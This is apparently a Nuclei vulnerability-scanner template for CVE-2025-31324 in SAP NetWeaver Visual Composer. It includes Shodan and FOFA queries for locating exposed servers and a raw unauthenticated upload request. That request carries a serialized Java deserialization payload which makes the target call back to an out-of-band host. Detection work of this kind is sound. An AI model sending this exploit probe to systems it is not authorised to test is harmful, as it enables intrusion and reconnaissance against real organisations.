SAP NetWeaver Visual Composer Metadata Uploader - Deserialization

id: CVE-2025-31324

info:
  name: SAP NetWeaver Visual Composer Metadata Uploader - Deserialization
  author: iamnoooob,rootxharsh,parthmalhotra,pdresearch
  severity: critical
  description: |
    SAP NetWeaver Visual Composer Metadata Uploader is not protected with a proper authorization, allowing unauthenticated agent to upload potentially malicious executable binaries that could severely harm the host system. This could significantly affect the confidentiality, integrity, and availability of the targeted system.
  reference:
    - https://www.bleepingcomputer.com/news/security/sap-fixes-suspected-netweaver-zero-day-exploited-in-attacks/
    - https://www.theregister.com/2025/04/25/sap_netweaver_patch/
    - https://me.sap.com/notes/3594142
    - https://url.sap/sapsecuritypatchday
    - https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2025-31324
    cwe-id: CWE-434
    epss-score: 0.79541
    epss-percentile: 0.9902
    cpe: cpe:2.3:a:sap:netweaver:7.50:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: sap
    product: netweaver
    shodan-query:
      - http.html:"sap netweaver application server java"
      - cpe:"cpe:2.3:a:sap:netweaver"
      - http.favicon.hash:"-266008933"
    fofa-query: icon_hash=-266008933
  tags: cve,cve2025,sap,netweaver,rce,deserialization,kev
variables:
  oast: ".{{interactsh-url}}"
  payload: "{{padding(oast,'a',54,'prefix')}}"


http:
  - raw:
      - |
        POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data

        {{zip('.properties',replace(base64_decode('rO0ABXNyABRqYXZhLnV0aWwuUHJvcGVydGllczkS0HpwNj6YAgABTAAIZGVmYXVsdHN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHIAE2phdmEudXRpbC5IYXNodGFibGUTuw8lIUrkuAMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAADdwgAAAAFAAAAAnQADnByb2plY3QtbmF0dXJlc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAADHcIAAAAEAAAAAFzcgAMamF2YS5uZXQuVVJMliU3Nhr85HIDAAdJAAhoYXNoQ29kZUkABHBvcnRMAAlhdXRob3JpdHl0ABJMamF2YS9sYW5nL1N0cmluZztMAARmaWxlcQB+AAhMAARob3N0cQB+AAhMAAhwcm90b2NvbHEAfgAITAADcmVmcQB+AAh4cP//////////dAA2YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhdAAAcQB+AAp0AARodHRwcHh0AD1odHRwOi8vYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFheHQAC0VYUE9SVC1OQU1FdAATc29tZV9wcm9qZWN0X25hbWV4eHhw'),'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',payload))}}

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, 'dns')
          - contains_all(body, 'FAILED', 'Cause')
        condition: and
# digest: 4a0a00473045022100bb9f6187bac7018fe7efac0fe3ad28d02d78c3bc081fdf3b4d0015884c19751d02207c098d8aba46520a4d6726de2e2fe8ecf4e32cbe356e2cae207c9c9d61390b85:922c64590222798bb761d5b6d8e72950